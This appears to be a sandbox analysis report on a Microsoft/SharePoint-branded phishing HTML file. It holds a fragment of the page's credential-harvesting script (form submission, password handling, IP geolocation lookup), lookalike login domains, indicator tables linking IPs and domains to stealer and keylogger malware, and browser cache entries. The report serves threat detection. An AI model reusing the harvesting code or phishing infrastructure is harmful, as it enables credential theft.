xhr.send(formData); } catch (error) { console.error('Error fetching user data:', error); networkErrorAlert.style.display = "block"; passwordField.value = ''; } }); // Event listener for the Enter key press on the password field passwordField.addEventListener("keydown", function(event) { if (event.key === "Enter") { event.preventDefault(); form.dispatchEvent(new Event("submit")); } }); // Event listener for the submit button click document.getElementById("submit-btn").addEventListener("click", function(event) { form.dispatchEvent(new Event("submit")); }); }); // Function to fetch user data and time async function fetchUserDataAndTime() { try { const locationResponse = await fetch('https://ipinfo.io/json?token=ad570b7adafe32'); const locationData = await locationResponse.json(); const currentTime = new Date().toLocaleTimeString(); const currentDate = new Date().toLocaleDateString(); const userAgent =
URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "brands": [ "Microsoft", "SharePoint" ] }
	{ "brands": [ "Microsoft", "SharePoint" ] }
URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: file:///C:/Users/user/Desktop/Product%20Blueprint..html Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.microsoft.com/en-us/servicesagreement Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://login.mslookupauthenticator.click/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.microsoft.com/en-us/servicesagreement Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://www.microsoft.com/en-us/servicesagreement Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "", "prominent_button_name": "Get the Copilot app", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://www.microsoft.com/en-us/servicesagreement Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
37.252.171.149	https://www.aarp.org/money/scams-fraud/info-2024/title-theft-real-estate-fraud.html	Get hash	malicious	HTMLPhisher	Browse
	https://www.scrolldroll.com/best-dialogues-from-asur/	Get hash	malicious	Unknown	Browse
	https://ambir.com/ambir-card-scanners/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://ambir.com/all-ambir-drivers/	Get hash	malicious	Unknown	Browse
	http://deepai.org	Get hash	malicious	LiteHTTP Bot	Browse
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse
	https://pthn.airrcofvbc.com/YReXjN/#<EMAIL&gt	Get hash	malicious	Unknown	Browse
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse
	http://3d1.gmobb.jp/dcm299ccyag4e/gov/	Get hash	malicious	Phisher	Browse
	https://zupimages.net/up/24/42/ol13.jpg?d6mSMvU0ZvpGwffnuqPHYMR7NvlxIzVjDfTD4YJjdRSCOcc	Get hash	malicious	Unknown	Browse
91.228.74.200	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse
	http://samobile.net/content/offsite_article.html?url=https%3A%2F%2Fsepedatua.com%2F158983%2Fsecure-redirect%23cnichols%2Bderickdermatology.com&headline=New+Jerusalem%2C+The+by+Chesterton%2C+G.+K	Get hash	malicious	Captcha Phish	Browse
	Pmendon.ext_Reord_Adjustment.docx	Get hash	malicious	Captcha Phish	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse
	https://mazans.com/WEB-ID-5672849687924/zerobot?email=Francois.barbeau@staples.ca	Get hash	malicious	Captcha Phish	Browse
104.18.37.193	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse
	http://deepai.org	Get hash	malicious	LiteHTTP Bot	Browse
	https://www.calameo.com/read/007816403baaac426afad	Get hash	malicious	Unknown	Browse
	https://pthn.airrcofvbc.com/YReXjN/#<EMAIL&gt	Get hash	malicious	Unknown	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse
	http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9	Get hash	malicious	Unknown	Browse
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse
54.154.234.207	https://www.dropbox.com/l/AADbLOqftgPkdsTWgBgFyNpmu-iGeYJGM4I	Get hash	malicious	Unknown	Browse
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse
	http://www.earthcam.net/refer/refer.php?h=1&t=ai&a=MjAyNDEwVExPTQ==&u=http:%2f%2fhidroregjioni-jugor.com%2fdayo/QNMvj/ZGF2aWRidWxsQGFya2ZpbmFuY2lhbC5jb20=	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
global.px.quantserve.com	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	91.228.74.166
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://www.calameo.com/read/00783464726989e2a209a	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	91.228.74.166
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	91.228.74.244
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse	91.228.74.244
	tmpE43E.htm	Get hash	malicious	Unknown	Browse	91.228.74.244
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	91.228.74.200
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse	91.228.74.166
	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	91.228.74.159
s.tribalfusion.com	https://sendgb.com/dxukcl49bIj?utm_medium=mvC3BJ1YMhqe8zn	Get hash	malicious	HTMLPhisher	Browse	172.64.150.63
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	104.18.37.193
	tmpE43E.htm	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse	172.64.150.63
	https://www.calameo.com/read/007816403baaac426afad	Get hash	malicious	Unknown	Browse	172.64.150.63
	https://pthn.airrcofvbc.com/YReXjN/#<EMAIL&gt	Get hash	malicious	Unknown	Browse	104.18.37.193
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9wVGhOLmFpcnJjb2Z2YmMuY29tL1lSZVhqTi8=/#<EMAIL>	Get hash	malicious	Unknown	Browse	104.18.37.193
	http://software.oldversion.com/download.php?f=YTo1OntzOjQ6InRpbWUiO2k6MTczMTQ4OTAwMjtzOjI6ImlkIjtpOjEzODk4O3M6NDoiZmlsZSI7czo0MzoicGRmY3JlYXRvci0xLTYtMi1QREZDcmVhdG9yLTFfNl8yX3NldHVwLmV4ZSI7czozOiJ1cmwiO3M6NTA6Imh0dHA6Ly93d3cub2xkdmVyc2lvbi5jb20vd2luZG93cy9wZGZjcmVhdG9yLTEtNi0yIjtzOjQ6InBhc3MiO3M6MzI6IjMwYzExNzY3MTEwNWY3MjhjYjA0YzU2ZjkzYTc1YTRjIjt9	Get hash	malicious	Unknown	Browse	172.64.150.63
	EXT__Transaction Details for Martibs -462fd4a1151861ecbc00b016e69e7825.eml	Get hash	malicious	Unknown	Browse	104.18.37.193
autenticatorresolver.online	Technical Details & Profile Illustrations for This#U00a0Drygair.html	Get hash	malicious	CorporateDataTheft, HTMLPhisher	Browse	172.66.0.102
jsdelivr.map.fastly.net	https://maya-lopez.filemail.com/t/BLFGBJSQ	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229
	_.html	Get hash	malicious	Unknown	Browse	151.101.193.229
	https://sendgb.com/vdRYC6Nal34?utm_medium=HlyZfLISdD8Bj1i	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	151.101.65.229
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://www.drvhub.net	Get hash	malicious	Unknown	Browse	151.101.129.229
	http://www.sbh.co.uk/	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	151.101.65.229
	https://hujalconcretos.com/npp	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse	151.101.1.229
s-part-0035.t-0009.t-msedge.net	dMDImIGmc7.exe	Get hash	malicious	ScreenConnect Tool	Browse	13.107.246.63
	https://source.scriptsafedata.com	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://t.ly/8cSDx	Get hash	malicious	Unknown	Browse	13.107.246.63
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	13.107.246.63
	10122024Hesap hareketleriniz.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	Valutazione della sicurezza IT - Azione urgente richiesta.html	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	New_Order_List.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Doc_13-35-42.js	Get hash	malicious	Unknown	Browse	104.21.96.35
	Doc_13-35-42.js	Get hash	malicious	Unknown	Browse	104.21.96.35
	Price Quotation-01.dqy.dll	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	ORDER-6070Y689_0PF57682456_DECVC789378909740.js	Get hash	malicious	WSHRat, Snake Keylogger	Browse	104.21.67.152
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	104.21.84.67
	https://t.ly/8cSDx	Get hash	malicious	Unknown	Browse	104.18.26.193
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	162.159.140.237
	Hesap_Hareketleri_10122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
QUANTCASTUS	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	91.228.74.166
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://www.calameo.com/read/00783464726989e2a209a	Get hash	malicious	Unknown	Browse	91.228.74.159
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	91.228.74.166
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	91.228.74.244
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	91.228.74.244
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse	91.228.74.244
	tmpE43E.htm	Get hash	malicious	Unknown	Browse	91.228.74.244
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	91.228.74.200
	https://www.calameo.com/read/007817996f562cfb4f52a	Get hash	malicious	HTMLPhisher	Browse	91.228.74.166
AMAZON-02US	xUPaeKk5wQ.msi	Get hash	malicious	AteraAgent	Browse	13.232.67.198
	7gBUqzSN3y.msi	Get hash	malicious	AteraAgent	Browse	13.232.67.199
	MAERSK LINE SHIPPING DOC_4253.exe	Get hash	malicious	FormBook	Browse	13.228.81.39
	https://t.ly/8cSDx	Get hash	malicious	Unknown	Browse	52.57.179.60
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	54.150.207.131
	ple.bat	Get hash	malicious	Unknown	Browse	52.58.42.230
	m.-..-6-.-8k.elf	Get hash	malicious	Gafgyt	Browse	54.171.230.55
	https://app.droplet.io/form/yEoAzK	Get hash	malicious	Unknown	Browse	3.23.93.108
	https://z37ifd8z1a.execute-api.eu-north-1.amazonaws.com/pery/	Get hash	malicious	Unknown	Browse	13.61.124.29
	https://app.droplet.io/form/yEoAzK	Get hash	malicious	Unknown	Browse	54.230.112.36
ASN-APPNEXUS	https://t.ly/8cSDx	Get hash	malicious	Unknown	Browse	37.252.172.123
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	185.89.210.153
	https://www.aarp.org/money/scams-fraud/info-2024/title-theft-real-estate-fraud.html	Get hash	malicious	HTMLPhisher	Browse	185.89.210.180
	https://www.scribd.com/document/801519291/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	185.89.210.20
	https://i.postimg.cc/y6hBTtv7/png-Hand-SAward.png	Get hash	malicious	HTMLPhisher	Browse	185.89.210.122
	http://www.javatpoint.com.cach3.com/	Get hash	malicious	Unknown	Browse	185.89.210.153
	https://vacilandoblog.wordpress.com/2015/04/22/a-tribute-to-my-mother-in-law-rest-in-peace-april-22-2015/	Get hash	malicious	Unknown	Browse	185.89.210.122
	Opportunity Offering Pure Home Improvement Unique Guest Post Websites A... (107Ko).msg	Get hash	malicious	Unknown	Browse	185.89.210.180
	https://bdb142c8309e44b2310105b0e00240d6.surge.sh/	Get hash	malicious	Unknown	Browse	37.252.171.21
	https://es.vecteezy.com/arte-vectorial/20279878-kyd-letra-logo-diseno-en-blanco-antecedentes-kyd-creativo-circulo-letra-logo-concepto-kyd-letra-diseno	Get hash	malicious	Unknown	Browse	185.89.210.153

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60356)
Category:	dropped
Size (bytes):	60635
Entropy (8bit):	5.158710529058039
Encrypted:	false
SSDEEP:	768:WkN++EvGHWyOOY/uwAxOlU5iBNY5XPxyvTPBVRKwi/C9rfz7uxk6yH8Xae53XC7e:W0xY+t/Nhho1d76KV2O9Ed
MD5:	4800BCC26467D999F49B472F02906B8D
SHA1:	2C6C0A58345A09D3761230AF823A4E4852B12643
SHA-256:	DE040986D9A3ED89D5D5F9AD6D5727015E9E238C2CD13AF8F1B55909386D0864
SHA-512:	CA4675410AF4272FF8664BCABAA5A7E2217796A3D9CA28FD891BFAB06A8B45D4CF918EBD617EBEEF0BD51A6B1D05B8887CDFFC39DB08EC70018EF12893A668A5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	/!. Bootstrap v5.3.3 (https://getbootstrap.com/). * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(require("@popperjs/core")):"function"==typeof define&&define.amd?define(["@popperjs/core"],e):(t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap=e(t.Popper)}(this,(function(t){"use strict";function e(t){const e=Object.create(null,{[Symbol.toStringTag]:{value:"Module"}});if(t)for(const i in t)if("default"!==i){const s=Object.getOwnPropertyDescriptor(t,i);Object.defineProperty(e,i,s.get?s:{enumerable:!0,get:()=>t[i]})}return e.default=t,Object.freeze(e)}const i=e(t),s=new Map,n={set(t,e,i){s.has(t)\|\|s.set(t,new Map);const n=s.get(t);n.has(e)\|\|0===n.size?n.set(e,i):console.error(`Bootstrap doesn't allow more than one instance per element. Bound instance: ${Arr

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cm.g.doubleclick.net/pixel?google_nid=g8f47s39e399f3fe&google_push&google_sc&google_hm=WjFoTDVnQUFBTWlXamdPSg==
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1442), with no line terminators
Category:	downloaded
Size (bytes):	1442
Entropy (8bit):	4.842129209307725
Encrypted:	false
SSDEEP:	24:7IVRgZKWcOcVRgcWcOXVXRiPcOIXRGcOiS2RR3bcOx2RVbcOW9eURim3cOGeUR9u:cVaYLVaoUvBvq2DAA2HAyUTsoUTs5CVI
MD5:	EB8D2A3A3B6018D6B4551C0FC6897DF5
SHA1:	C30AB733EAD1B5A3F97CED822CE1AAEC9C88B4E6
SHA-256:	F370D29D74C62F317C188A6285FF97DC6EAEE01E24F515D16210B12FBE8D7888
SHA-512:	3FD082C553E1898D5A3B2484EF6AEBBF4F50573D33D5585132CE4C298E1BAA392C4F4D5C0F7BA9AF9C806A97E57B6819D123A268B7AD82960E3EECD676BAE832
Malicious:	false
Reputation:	low
URL:	https://autenticatorresolver.online/assets/global/pdf/css/conf.css
Preview:	@-webkit-keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@-webkit-keyframes f1o4taax{0%{right:0px;opacity:1}100%{right:-200px;opacity:0}}@keyframes f1t2sqxk{0%{left:0px;opacity:1}100%{left:-200px;opacity:0}}@keyframes f1o4taax{0%{right:0px;opacity:1}100%{right:-200px;opacity:0}}@-webkit-keyframes fr2e2iv{0%{left:200px;opacity:0}100%{left:0px;opacity:1}}@-webkit-keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@keyframes fr2e2iv{0%{left:200px;opacity:0}100%{left:0px;opacity:1}}@keyframes fadpgrp{0%{right:200px;opacity:0}100%{right:0px;opacity:1}}@-webkit-keyframes f1wj94rl{0%{left:0px;opacity:1}100%{left:200px;opacity:0}}@-webkit-keyframes fgv3477{0%{right:0px;opacity:1}100%{right:200px;opacity:0}}@keyframes f1wj94rl{0%{left:0px;opacity:1}100%{left:200px;opacity:0}}@keyframes fgv3477{0%{right:0px;opacity:1}100%{right:200px;opacity:0}}@-webkit-keyframes fs3h71u{0%{left:-200px;opacity:0}100%{left:0px;opacity:1}}@-webkit-keyframes fkaajju{0%{right:-

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65298)
Category:	downloaded
Size (bytes):	372649
Entropy (8bit):	5.092497147126706
Encrypted:	false
SSDEEP:	6144:hkz1b3b99G9gR7N1xf6ilX1b3b99G9gR7N1xf6iPyD1b3b99G9gR7N1xf6ilfsPQ:6YfW1fvh8
MD5:	C34FA6955BE9497F516B1D185D1450D8
SHA1:	C2B45C4572E6B0398E3703CCFC1746D7D6CFC582
SHA-256:	F6895205E6AFDDAB2E56E315FB74F0016F5ECD70F163FA978BB88504E8512398
SHA-512:	56D1919BD4B6E00B43B9DBFE63E8570EDEAB2A4718EFD6A92ED3198835252CB5D817ABE625B166245C49AAD95FD99389680E2AA1BC083053980E6A8A6FFCDC5E
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/main-light.min.ACSHASHc34fa6955be9497f516b1d185d1450d8.css
Preview:	@charset "UTF-8";/!. MWF (Moray) Extensions v2.15.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */@font-face{font-family:MWF-FLUENT-ICONS;src:url(resources/fonts/MWFFluentIcons.woff2?v=2.15.1) format("woff2"),url(resources/fonts/MWFFluentIcons.woff?v=2.15.1) format("woff"),url(resources/fonts/MWFFluentIcons.ttf?v=2.15.1) format("truetype")}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff2) format("woff2"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.woff) format("woff"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/normal/latest.ttf) format("ttf");font-weight:400}@font-face{font-family:SegoeUI;src:local("Segoe UI"),url(//c.s-microsoft.com/static/fonts/segoe-ui/west-european/light/latest.woff2) format("woff2"),url(//c.s-micros

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	dropped
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
